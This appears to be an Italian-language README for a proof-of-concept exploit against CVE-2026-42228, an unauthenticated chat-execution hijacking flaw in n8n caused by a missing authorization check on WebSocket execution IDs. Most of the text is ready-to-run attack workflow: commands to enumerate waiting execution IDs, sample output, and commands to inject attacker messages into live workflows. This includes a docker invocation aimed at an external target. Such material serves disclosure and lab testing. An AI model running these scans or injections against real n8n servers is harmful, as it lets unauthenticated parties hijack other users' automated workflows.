
Proof-of-concept exploit per CVE-2026-42228, una vulnerabilità di hijacking dell'esecuzione della chat non autenticata in n8n, con script automatizzati di scansione e attacco.
CVE: CVE-2026-42228
Gravità: Alta
Versioni interessate: n8n < 1.123.32
Corretta in: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() accetta un executionId dalla stringa di
query del WebSocket e verifica solo che l'esecuzione esista nel database. Non
verifica mai che il chiamante sia autorizzato ad accedere a tale esecuzione.
Un attaccante non autenticato che conosce (o può enumerare) un ID di esecuzione numerico valido per un'esecuzione nello stato waiting può:
/chat senza credenziali.Prerequisiti:
waiting.chmod +x exploit.sh
./exploit.sh setup
Questo scarica n8nio/n8n:1.123.22 (ultima release interessata), crea l'immagine
dell'attaccante e avvia il target vulnerabile su http://localhost:5678.
http://localhost:5678 e completa la procedura guidata di configurazione (qualsiasi credenziale).Apri l'URL Chat pubblico mostrato nel nodo Chat Trigger e invia un messaggio. L'esecuzione entrerà nello stato waiting, in pausa in attesa della prossima risposta in chat.
./exploit.sh scan
# oppure specifica un intervallo:
./exploit.sh scan 1 500
Output previsto quando viene trovata un'esecuzione vulnerabile:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# oppure con un payload personalizzato:
./exploit.sh attack 7 "custom injected message"
Tornando nell'editor di n8n, il workflow riprende con il messaggio iniettato dall'attaccante invece dell'input dell'utente legittimo.
# Crea l'immagine dell'attaccante
docker build -t n8n-chat-hijack-poc .
# Scansione (si collega alla rete di laboratorio condivisa)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# Attacca un'esecuzione specifica
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# Contro un target esterno (nessun flag di rete necessario)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
Ferma i container e rimuove i volumi (incluso il database SQLite).
| File | Descrizione |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | PoC Python autonomo |
Dockerfile |
| Immagine del container dell'attaccante |
docker-compose.yml | Laboratorio completo: n8n vulnerabile + attaccante |
exploit.sh | Script di supporto per operazioni comuni |